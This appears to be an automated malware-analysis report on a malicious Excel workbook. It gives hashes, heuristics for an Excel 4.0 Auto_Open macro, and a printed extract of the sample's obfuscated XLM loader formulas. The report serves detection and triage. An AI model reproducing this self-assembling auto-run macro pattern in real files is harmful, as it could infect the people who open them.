Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 67ff612dadabe6fd…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:13 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: d1e7ffd91bdaeef65e7e78e44f43c95e SHA-1: 08bbf0c5bcf95fa379fe99bd2f6c172570ed97f9 SHA-256: 67ff612dadabe6fd77b03d4de643a415faaf0dc92721c100aee134e7e902b43d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6474 bytes
SHA-256: 65658c9f08ed49d3e124264323f77eac482520642c0465017aec830d296149f2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tiNpsq
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B190 
' 0018     20 LABEL : Cell Value, String Constant - cIoKr len=0 
' 0018     24 LABEL : Cell Value, String Constant - cIWVxnMLG len=0 
' 0018     20 LABEL : Cell Value, String Constant - cMEpj len=0 
' 0018     21 LABEL : Cell Value, String Constant - CMzRTj len=0 
' 0018     27 LABEL : Cell Value, String Constant - CqsbkNduycIJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - fbAzhKGpKU len=0 
' 0018     25 LABEL : Cell Value, String Constant - iSROUgwXLK len=0 
' 0018     23 LABEL : Cell Value, String Constant - IVNbGRsi len=0 
' 0018     27 LABEL : Cell Value, String Constant - jfvjYYLmGgEK len=0 
' 0018     22 LABEL : Cell Value, String Constant - KFWGUrs len=0 
' 0018     24 LABEL : Cell Value, String Constant - lHHCzkMQe len=0 
' 0018     20 LABEL : Cell Value, String Constant - QBNdV len=0 
' 0018     20 LABEL : Cell Value, String Constant - rPOuW len=0 
' 0018     22 LABEL : Cell Value, String Constant - uXIkhHo len=0 
' 0018     25 LABEL : Cell Value, String Constant - vXbcHtFmYP len=0 
' 0018     25 LABEL : Cell Value, String Constant - WbyFqzStgd len=0 
' 0018     22 LABEL : Cell Value, String Constant - XvOotIr len=0 
' 0018     21 LABEL : Cell Value, String Constant - zbQefR len=0 
' 0018     26 LABEL : Cell Value, String Constant - zDfFeZaCEsZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZSHgmLnCOA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tiNpsq,B98,"SET.NAME("XvOotIr",VALUE("0"))",""
'  tiNpsq,B100,"SET.NAME("zbQefR",XvOotIr)",""
'  tiNpsq,B102,"SET.NAME("lHHCzkMQe",XvOotIr)",""
'  tiNpsq,B104,"SET.NAME("cIWVxnMLG",COUNTA(jfvjYYLmGgEK))",""
'  tiNpsq,B106,"SET.NAME("IVNbGRsi",COUNTA(WbyFqzStgd))",""
'  tiNpsq,B111,[],""
'  tiNpsq,B116,"SET.NAME("CMzRTj","")",""
'  tiNpsq,B118,"zbQefR",""
'  tiNpsq,B123,"SET.NAME("rPOuW",HLOOKUP("*",jfvjYYLmGgEK,zbQefR,FALSE))",""
'  tiNpsq,B126,"QBNdV",""
'  tiNpsq,B128,"SET.NAME("zDfFeZaCEsZ",XvOotIr)",""
'  tiNpsq,B133,[],""
'  tiNpsq,B138,"zDfFeZaCEsZ",""
'  tiNpsq,B140,"fbAzhKGpKU",""
'  tiNpsq,B145,"uXIkhHo",""
'  tiNpsq,B150,"ZSHgmLnCOA",""
'  tiNpsq,B152,"SET.NAME("cMEpj",VALUE(HLOOKUP("*",WbyFqzStgd,ZSHgmLnCOA,FALSE)))",""
'  tiNpsq,B156,"cIoKr",""
'  tiNpsq,B160,"CMzRTj",""
'  tiNpsq,B165,"lHHCzkMQe",""
'  tiNpsq,B170,NEXT(),""
'  tiNpsq,B175,"CqsbkNduycIJ",""
'  tiNpsq,B177,"SET.NAME("f",INT(T(FORMULA(T(CMzRTj)&"",""&T(CqsbkNduycIJ)))))",""
'  tiNpsq,B180,"KFWGUrs",""
'  tiNpsq,B182,NEXT(),""
'  tiNpsq,B187,RETURN(),""
'  tiNpsq,B217,"SET.NAME("iSROUgwXLK",B98)",""
'  tiNpsq,B219,"jfvjYYLmGgEK",""
'  tiNpsq,B224,"SET.NAME("WbyFqzStgd",R47C14)",""
'  tiNpsq,B227,"SET.NAME("KFWGUrs",236)",""
'  tiNpsq,B232,"SET.NAME("vXbcHtFmYP",2)",""
'  tiNpsq,B235,iSROUgwXLK(),""
'  tiNpsq,B236,HALT(),""

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